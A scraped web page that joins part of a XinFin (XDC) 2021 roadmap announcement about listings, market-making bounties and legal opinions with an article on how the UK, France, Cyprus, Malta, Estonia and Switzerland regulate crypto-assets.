Non-Korean Customers (Phase 1)Korean Customers - Fiat (Phase 2) d) Tier 1 exchange listing (Proposed) US Customers (Proposed, Under Legal opinion)Korean Customers - Fiat (Phase 2) Know More Other Exchange Integration Fee bounty at https://www.xinfin.org/bounty 4. Market making + Liquidity push by incentivizing Market Makers Community driven third party market making. There are some masternode groups who are running bounties via third party pages. https://ruslanwing100.medium.com/bounty-for-xdc-market-making-6326540e1766 Incentives will be paid from the XDC Ecosystem Pool for maintaining liquidity in a self-controlled mm account. 5. Global awareness + PR a) Received proposal from Market Across PR firm. This is a PR firm for top projects. b) Develop ways for the community to help in the decentralization of marketing efforts. 6. Develop Interoperability of XDC with Ethereum ecosystem a) Developers of Bancor and XDC are working with Bancorx integration of XDC with USDC, USDT, and ETH on BancorX Link for alpha product/tool: (Link for testing purpose only) https://bancor.xdc.network/ 7. Legal Clarity on XDC Network and token a) Singapore A law firm has already issued a legal opinion stating that XDC is a utility payment token and not a security. b) UK A law firm has already issued a legal opinion stating that XDC is a utility payment token and not a security. c) Liechtenstein Legal opinion underway. d) US - SEC Xinfin is currently in the process of engaging legal counsel in the United States to create a legal opinion for the XDC Network and the XDC token. e) Japan To be engaged after listing with Tier 1 Exchange for enabling fiat pairs. f) UAE Working through TradeFinex tech Ltd. (Reglab already issued) Know More 8. to promote XDC Adoption and More Dapps Integration. Hackathon & internship 9. Enhance XDC Staking in the following ways: Masternode/Backup Node: Expand XDC Masternode networks. Community Staking: Integration with exchanges and custodians who can offer a yield to XDC Holders. Inorganic Growth through third party project integrations: a) European Index provider — (will be publicly announced in Q1) XDC index to launch in January end or February. Know More b) A Fintech firm integrated with 17 banks Know More Integration of banking partners with TradeFinex over XDC liquidity pools for alternative investors. c) Tier 1 Bank — Know More d) DeFi Project on XDC — Know More f) Trade Finance Digitisation Project Integration with XDC The XinFin Core Team encourages community members to take part in the development and utilization of the XDC Network. Efforts to connect with or approach regulated companies that can boost XDC adoption with running systems will be supported through XinFin Bounty programs. Up to 140% in XDC Bounty is available for any communication, integration, or regulatory cost incurred by XDC Community members. XDC Bounty form. (Fill-in the form provided under pre-approved XDC Bounty)

[Announcement] XinFin RoadMap For 2021.

Over the better part of the past decade blockchain and digital assets have emerged from obscurity and concentrated increased interest not only from technologists but also professional and retail investors, entrepreneurs, regulators and the general public. At the heart of their success lie some of the best performing financial assets of the past decade, a multitude of potentially disruptive use cases utilizing blockchain, and arguably, the systematic failings of states and super-states to address fundamental flaws that adversely impact the global economy. The full EUBOF report on the state of Blockchain in the EU can be read here Propelled by the ICO boom and the increasing number of applications from the private sector, digital assets and blockchain saw increased interest from regulators in mid 2017. Most countries acknowledged the appeal of digital assets and issued relevant investors warnings. The first state-sponsored studies exploring digital currencies surfaced, accompanied by attempts to regulate the then-popular ICOs. On-chain pilots emerged too, such as the and , that were swiftly shut down by European regulators. In late 2018, studies from top advisor firms such as Deloitte and PWC largely foreshadowed the increased involvement of institutional players, and China’s primacy in the field, all while initiatives from the private sector highlighted financial services as the “killer application”. Estonia’s digital currency Austria’s Culture token Over the past 2 years, pilot deployments and dormant legislation gave their place to large scale initiatives. States and super-states are competing on the issuance of DLT versions of their sovereign currencies, issuing umbrella regulation to accommodate their paramount implications for modern economies and financial services. Systematic efforts have been put in place to understand and taxonomize digital assets, and sovereign national strategies in advanced nations are becoming increasingly common. In late 2020 the world stands before a tectonic shift, fueled by the acceleration of digital trends due to the COVID19 pandemic, and the climaxing efforts of states to keep up with developments. In Europe, the European commission has lately a directive that sets the stage for the regulation of digital assets, and a outlining a novel, DLT-enabled Euro. Those are expected to shape continent-wide regulation and treatment of digital assets over the next years. Today, however, the digital asset regulatory landscape remains polymorphous and ambiguous as ever. Some countries have embraced transformative technologies with top-down initiatives, while others have remained to simple investor protection warnings. issued the markets in crypto-assets regulation (MiCA), comprehensive report on a digital Europe, The European Blockchain Observatory and Forum report on the state of blockchain in the EU introduces a framework for ranking countries on a three-stage regulatory maturity curve, based on their specific characteristics. Stage I describes countries where blockchain and digital assets regulation is generally absent, save perhaps for the occasional investor warnings issued by relevant authorities. Countries falling under Stage II have shown significant sings of involvement in the digital assets field. Those have generally adopted wider regulatory schemes that relate to KYC/AML and investor protection or pertain to specific blockchain enabled activities such as ICOs. State-sponsored studies and pilots are also commonplace for countries in Stage II, as is an established framework for the characteristics and the taxation of digital assets. Lastly, countries under Stage III have adopted specific legislation that pertains to digital assets and have voted, published, or are actively developing a national strategy to exploit them. The UK, France, Cyprus, Malta, Estonia, and Switzerland have set a pan-European example with their embracive and innovation-driven approaches, fall under either stage II or III on the framework and have generally adopted more nuanced approaches indicative of industry trends that are worth outlining. Regulatory and Ecosystem maturity curve The full EUBOF report on the state of Blockchain in the EU can be read here United Kingdom In 2018 the UK established a dedicated entity responsible for the country’s blockchain and digital asset policy and regulatory approach. The Cryptoassets Taskforce consists of Her Majesty’s Treasury (HM Treasury), the Financial Conduct Authority and the Bank of England (BoE). The authority has defined digital assets and created a framework for their taxonomy based on their characteristics segmenting them into 1)exchange tokens, meaning digital assets that are mainly utilized as a medium of exchange, 2) utility tokens, or assets that can be redeemed for some sort of utility that arises from an underlying blockchain or DLT deployment, 3) Security Tokens, that present similar characteristics to regular securities, such as factual ownership of an underlying financial asset, and lastly, 4) e-money tokens, which fall under the country’s . electronic money regulations However, the establishment of Cryptoassets taskforce in 2018 is not when it all started. In fact, the UK was one of the first countries to realize the potential of blockchain and digital assets in Europe, as evident by a by HM Treasury studying the potential benefits, risks and barriers towards their adoption. The report went as far as suggesting specific regulatory actions. A short year later, the country , which focused on the development of businesses in the digital field and included companies active in the field of digital assets and blockchain. Virtual currency taxation is largely governed issued by HM Revenue and Customs. relevant 2015 report launched its Digital strategy under a 2019 policy paper F rance France is another country that acknowledged the potential of blockchain and digital assets early. Following a 2013 issued by the French Central Bank on Bitcoin, the French Financial Market Authority (AMF) and Prudential Supervisory Authority warned investors of the potential pitfalls of digital assets that stemmed from their unregulated nature. A 2016 ordinance provided the first definition of blockchain in French law and allowed for the on-chain registering of cash vouchers. In 2017, the French Financial Market Authority (AMF) launched a unique digital-asset fundraising support and research programme (UNICORN) to support and analyse ICOs. France also adopted a specific ordinance to become the first country to authorise the registration and transfer of unlisted securities using blockchain technology. comprehensive report 2019 was a particularly strong year for France with the creation of the French Digital Asset Association, an entity aiming to facilitate laws and regulation that facilitate digital assets and introduce specific taxation schemes. In the same year, the introduction of the G7 cryptocurrency task force in an attempt to better regulate far-reaching digital asset initiatives by private players, further established the country’s involvement with digital assets. Cyprus Starting as early as 2014, the Cyprus Securities and Exchange Commission (CySEC) has issued numerous investor and public warnings on digital assets. With low taxation and openness to innovation, the country emerged as an epicentre of blockchain activity. In 2018, the CySEC announced an innovation hub as part of its plan to foster business activity and an informed regulatory landscape for transformative technologies, including blockchain and digital assets. One year later, in 2019 then Finance Minister, Harris Georgiades announced a draft bill to regulate blockchain and digital assets, as part of the country’s national strategy to exploit blockchain and relevant technologies. The bill came into effect later the same year. In the development of their national blockchain and digital assets strategy, Cyprus opted for co-creation, involving the CySEC, Central Bank of Cyprus, relevant ministries, the Parliament at large, and important stakeholders from the private sector, such as the Cyprus bar association and the Cyprus Chartered Accountants Association. On that front, Deputy Minister for Research, Innovation & Digital Policy, Kyriacos Kokkinos, told EUBOF: “We believe that with the implementation of the National Strategy, Cyprus will transform the economy and adopt to new business models, and therefore increase the level of maturity towards disruptive technologies […] In addition, an upcoming DLT and Cryptocurrencies bill contribute towards improving the maturity levels of this technology for Cyprus, and thus, creating an ‘enabling environment’ for technology and FinTech companies to flourish” With a national strategy already in place, Cyprus is now closely monitoring and participating in the pan-European discussion on digital assets and is ready to enact necessary changes to align with European guidelines on their regulation, taxation and general treatment. The full EUBOF report on the state of Blockchain in the EU can be read here Malta Unlike most other countries, Malta’s approach towards digital assets can be characterized as “Regulation First”. In 2018, while addressing the United Nation, then Prime Minister Joseph Muscat presented the country as a “Blockchain Island” and noted that Malta was the first country worldwide to offer clarity in what was previously a “regulatory vacuum”. In the same year, the country had introduced three bills, outlining its comprehensive regulatory framework and establishing its national strategy. The key actors responsible for the trio of laws collectively referred to as the Innovation Framework were: (MDIA), (MFSA) and (MGA). More specifically, the laws approved by the Maltese parliament were (VFAA), with an objective to regulate the field of ICOs, digital assets, virtual currencies and related services, , which aimed to set the framework for the registration of technology service providers in the blockchain space and the certification of smart contracts, and the , which established the MDIA, with a role to certify blockchain deployments and smart contracts. the Malta Digital Innovation Authority the Malta Financial Services Authority the Malta Gaming Authority the Virtual Financial Assets Act the Innovative Technological Arrangements and Services Act Malta Digital Innovation Authority Act The MFSA has introduced a test to separate digital assets in four distinct categories based on their characteristics. Those categories are electronic money, financial instruments, virtual tokens and virtual financial assets. Taxation applies depending on which category an asset falls under. Licensing requirements for activities involving blockchain and virtual currencies are also determined according to provisions of the VFAA. Four different types of licences exist, and companies interested in acquiring one need to apply to the MFSA. Activities in the virtual currency and blockchain space are subject to anti-money laundering (AML) and counter-terrorism financing (CTF) rules. In early 2020, the country’s blockchain vision was reimagined and incorporated under the wider umbrella of digital innovations, making Malta one of the first countries to lead the trend of incorporating blockchain and digital assets under a wider transformative technology scope. Estonia In a country that has integrated blockchain and blockchain-like deployments for its far-reaching digital infrastructure and went as far as to issue a digital currency, a unified national strategy governing DLT and digital assets is notably absent. “It is the effort of individual ministries and government authorities that consider the use of blockchain on a case-by-case basis, rather than an umbrella approach of “blockchain everything”. A [national] strategy can help, but it has to be very well informed, and that is usually the catch.” Florian Marcus Digital Transformation Advisor at e-Estonia told EUBOF. Despite the lack of a unified strategy, local regulators were some of the first movers worldwide. Estonian law recognises virtual currencies as “value represented in digital form that is digitally transferable, preservable, or tradable, and that natural persons or legal persons accept as a payment instrument”. At the same time, to facilitate the 2017/2018 growth of ICOs, The Estonian Financial Supervision and Resolution Authority (EFSA) published guidelines segmenting digital assets into security, payment, charity and utility tokens, and invited ICO issuers to submit their plans for feedback, so they can be informed of any specific regulations that apply to them. Estonia has also issued more than 2,000 “Crypto-licenses” for digital currency exchanges and wallet providers. Switzerland As of late 2020 Switzerland is home to more than 1,000 companies active in the blockchain and digital assets space. This flourishing ecosystem is in part enabled by the country’s positive regulatory outlook and the fact that the significance of digital assets was realised early by country officials. In 2014, the Swiss federal government published a report addressing their potential economic impact, clarifying their legal treatment and highlighting risks associated with their use and exchange. In the same report, the specific characteristics of digital currencies were also outlined. In 2018, the FINMA on how market legislation would apply to the various types of virtual currencies and alternative forms of financing such as ICOs. The FINMA categorised virtual currencies based on their function and purpose as payment tokens utility tokens and asset tokens. Such categorizations, as evident by this article, constitute one of the pillars of every advanced digital assets regulatory framework. published guidelines In the second half of 2019, the FINMA officially licensed two institutions, the SEBA Bank AG and Sygnum Bank AG, to operate as regulated virtual currency banking entities. In this way, a new category of blockchain entities was established, as many other businesses, such as Bitcoin Suisse, are expected to apply for licensing too. In terms of taxation, digital assets are generally treated similar to foreign exchange and their rates vary from canton to canton but are usually determined by the Federal Tax Administration at the end of each year. Assets that do not receive an official evaluation taxable at the cost of acquisition. The full EUBOF report on the state of Blockchain in the EU can be read here Wrapping up As the European Commission is concentrating efforts in standardizing digital asset regulation across Europe, how the above legislative frameworks adopt, and how the rest of Europe follows will continue to constitute one of the primary developments in the field of digital assets for years to come. Also published at https://lambisdion.medium.com/at-the-brink-of-a-tectonic-shift-eu-countries-that-do-crypto-regulation-right-3e8d4cd6d8da

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